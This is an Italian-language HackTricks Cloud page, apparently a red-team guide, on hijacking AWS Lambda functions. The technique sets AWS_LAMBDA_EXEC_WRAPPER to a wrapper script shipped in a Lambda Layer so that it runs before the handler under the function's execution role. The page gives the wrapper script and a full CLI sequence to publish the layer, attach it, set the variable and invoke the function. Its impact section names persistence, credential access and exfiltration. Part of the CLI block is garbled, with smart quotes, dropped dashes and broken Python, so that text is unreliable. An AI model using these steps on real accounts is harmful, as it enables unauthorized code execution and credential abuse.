AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Sommario
Abusa della variabile dâambiente AWS_LAMBDA_EXEC_WRAPPER per eseguire uno script wrapper controllato dallâattaccante prima dellâavvio del runtime/handler. Distribuisci il wrapper tramite un Lambda Layer in /opt/bin/htwrap, imposta AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, e poi invoca la funzione. Il wrapper viene eseguito allâinterno del processo del runtime della funzione, eredita il role di esecuzione della funzione e infine esegue con exec il runtime reale in modo che lâhandler originale venga eseguito normalmente.
Warning
Questa tecnica concede esecuzione di codice nella Lambda target senza modificare il suo codice sorgente o il role e senza necessitare di
iam:PassRole. Hai solo bisogno della possibilitĂ di aggiornare la configurazione della funzione e pubblicare/allegare un layer.
Permessi richiesti (attaccante)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(o attivare tramite un evento esistente)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(stesso account) e opzionalmentelambda:AddLayerVersionPermissionse si usa un layer cross-account/pubblico
Wrapper Script
Posiziona il wrapper in /opt/bin/htwrap nel layer. Può eseguire logica pre-handler e deve terminare con exec "$@" per concatenarsi al runtime reale.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Passaggi dellâattacco (CLI)
Pubblica layer, allega alla funzione target, imposta wrapper, invoca
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<âWRAPâ #!/bin/bash set -euo pipefail echo â[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGIONâ python3 - <<âPYâ import boto3, json print(â[ht] sts identity:â, import(âjsonâ).dumps(import(âboto3â).client(âstsâ).get_caller_identity())) PY exec â$@â WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
âlayer-name ht-exec-wrapper
âzip-file fileb://htwrap-layer.zip
âcompatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
âquery LayerVersionArn âoutput text âregion â$REGIONâ)
echo â$LAYER_ARNâ
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
âfunction-name â$TARGET_FNâ
âlayers â$LAYER_ARNâ
âenvironment âVariables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}â
âregion â$REGIONâ
Wait for update to finish
until [ â$(aws lambda get-function-configuration âfunction-name â$TARGET_FNâ âquery LastUpdateStatus âoutput text âregion â$REGIONâ)â = âSuccessfulâ ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke âfunction-name â$TARGET_FNâ /tmp/out.json âregion â$REGIONâ >/dev/null aws logs filter-log-events âlog-group-name â/aws/lambda/$TARGET_FNâ âlimit 50 âregion â$REGIONâ âquery âevents[].messageâ âoutput text
</details>
## Impatto
- Esecuzione di codice pre-handler nel contesto del runtime Lambda utilizzando l'execution role esistente della function.
- Non richiede modifiche al function code o al role; funziona su managed runtimes comuni (Python, Node.js, Java, .NET).
- Consente persistence, credential access (es. STS), data exfiltration e runtime tampering prima che l'handler venga eseguito.
> [!TIP]
> Impara & pratica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara & pratica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Sostieni HackTricks</summary>
>
> - Controlla i [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi hacking tricks inviando PRs ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

